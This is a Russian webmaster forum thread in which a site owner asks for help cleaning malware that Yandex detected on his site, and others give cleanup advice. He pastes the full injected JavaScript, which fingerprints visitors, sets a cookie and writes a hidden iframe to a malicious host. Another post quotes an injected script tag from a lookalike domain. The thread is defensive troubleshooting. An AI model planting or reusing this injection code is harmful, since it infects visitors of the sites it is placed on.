Вирус на сайте

12
S9
На сайте с 22.03.2011
Offline
45
1857

Всем привет!

Будьте добры уделить немного своего времени и разобраться в проблеме.

Проблема: "На моем сайте Яндекс обнаружил вирусы."

Перечитал много тем и советов, решил остановиться на антивирусе - ai-bolit

Прогнал данным скриптом поиск вирусов и хотел бы поинтересоваться, как именно чистить файлы такого формата:

Найдены сигнатуры javascript вирусов:

E:\home\test1.ru\www/cache/plg_jch_optimize/95204744620a04731a05b2446893f322-cache-plg_jch_optimize-26c4a24ac5ab1738ef439c5ee9a5b54f.php

th=/; expires='+date.toUTCString(); } function getCookie(name) { var matches = |document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]

Получается нужно удалять данный фрагмент?

Буду признателен за помощь.

K5
На сайте с 21.07.2010
Offline
209
#1

нет не удалять, надо знать что удалять а что нет

подозрительными могут быть не только вредоносные коды, но и вполне нормальные, которые использовал разработчик движка

ай-болит лишь предупреждает о возможном вредоносном, решить опасен этот код или нет должен сам пользователь

незнаючи можно половину движка удалить :) или потерять часть функционала...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
S9
На сайте с 22.03.2011
Offline
45
#2

Непосредственно Яндекс присылал в переписки вот этот фрагмент:

(function(){

function stripos (f_haystack, f_needle, f_offset) {

var haystack = (f_haystack + '').toLowerCase();

var needle = (f_needle + '').toLowerCase();

var index = 0;

if ((index = haystack.indexOf(needle, f_offset)) !== -1) {

return index;

}

return false;

}

function nnn_action(){

var fuuuSpect = ['rv:11.0','Mini','iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome','IEMobile','SymbianOS','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Firefox/26.0','Firefox/27.0','Firefox/28.0'];

var fuuuuuAC = false;

for (var i in fuuuSpect) {

if (stripos(navigator.userAgent, fuuuSpect)) {
fuuuuuAC = true;
break;
}
}
return fuuuuuAC;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!nnn_action()) {
var cookie = getCookie('bibi3ka09sp34er12sk88y');
if (cookie == undefined) {
setCookie('bibi3ka09sp34er12sk88y', true, 86400);
document.write('<'+'ifr'+'ame'+' src='+'"http://gdefly.machio.com.ar/htjykhk5.html" style="position:absolute;left:'+'-'+'1500px;top:'+'-'+'1500px;" height="200" width="200"></iframe>');
}
}
})();

//YOOtheme

Как считаете, что за код?

---------- Добавлено 18.03.2014 в 12:42 ----------

kgtu5:
нет не удалять, надо знать что удалять а что нет
подозрительными могут быть не только вредоносные коды, но и вполне нормальные, которые использовал разработчик движка

ай-болит лишь предупреждает о возможном вредоносном, решить опасен этот код или нет должен сам пользователь
незнаючи можно половину движка удалить :) или потерять часть функционала...

Яндексу не понравилась строчка из этого фрагмента, или же он счел что все это является заразой?

TF-Studio
На сайте с 17.08.2010
Offline
334
#3
Непосредственно Яндекс присылал в переписки вот этот фрагмент:

Как считаете, что за код?

Плохой это код

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).
S9
На сайте с 22.03.2011
Offline
45
#4
TF-Studio:
Плохой это код

Правильно я понимаю, что его нужно удалить целиком? (т.е. не фрагмент из него)

H
На сайте с 17.03.2014
Offline
1
#5

надо удалить как минимум тот код, где iframe собирается - 99.9% что именно через него вирус и приходит.

... document.write('<'+'ifr'+'ame'+' src='+'"http://gdefly.machio.com.ar/htjykhk5.html" ... - вот он.

но это только пол-решения - надо искать, как этот код попал на сайт.

Иначе этот код можно будет удалять 100 раз на день.

S9
На сайте с 22.03.2011
Offline
45
#6
hcpro:
надо удалить как минимум тот код, где iframe собирается - 99.9% что именно через него вирус и приходит.
... document.write('<'+'ifr'+'ame'+' src='+'"http://gdefly.machio.com.ar/htjykhk5.html" ... - вот он.

но это только пол-решения - надо искать, как этот код попал на сайт.
Иначе этот код можно будет удалять 100 раз на день.

Система долго не обновлялась, на текущий момент последняя версия.

Предпринял все возможное:

- Проверял комп на вирусы

- Обновил CMS до последней сборки

- Сменил все пароли на хостинге

- Вычистил с помощью ai-bolit файлы с неизвестным содержанием, но остался тот фрагмент, который Яндекс постоянно присылает в переписке.

u3Bepr
На сайте с 03.03.2011
Offline
60
#7

есть подозрение, что качнули "бесплатный" шаблон с вшитой заразой - первым делом в папке шаблона проверяйте. если есть архив с ним, то сортируйте файлы по дате изменения и смотрите код + папку с картинками проверьте. т.к. есть варианты залива шела в графический файл, типа social.png

H
На сайте с 17.03.2014
Offline
1
#8

В любом случае надо искать, откуда этот iframe берётся. Он или в файлах сайта, или в базе. Возможно еще каким-то посторонним включением генерируется - тогда надо найти, через что именно.

Хотя бы grep-ом пройтись по сайту, вдруг видно будет.

И кеш сайта не забыть очистить :) а то может заразы уже и нет, а в кеше ещё зловред остался.

Обновление и актуализация - очень верно и правильно.

S
На сайте с 23.05.2011
Offline
29
#9

Сайт на DLE 9,8 взломали аж до базы mysql добрались гады, на всех статьях лишние коды наподобие <script type="text/javascript" async="async" src="http://gooogle-webmasters.ru/js/8f14e45fceea167a5a36dedd4bea2543.js"></script>

R
На сайте с 24.01.2008
Offline
180
#10
saidrustam:
Сайт на DLE 9,8 взломали аж до базы mysql добрались гады, на всех статьях лишние коды наподобие <script type="text/javascript" async="async" src="http://gooogle-webmasters.ru/js/8f14e45fceea167a5a36dedd4bea2543.js"></script>

Старый вирус, из Бд проще удалять регуляторными выражениями

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий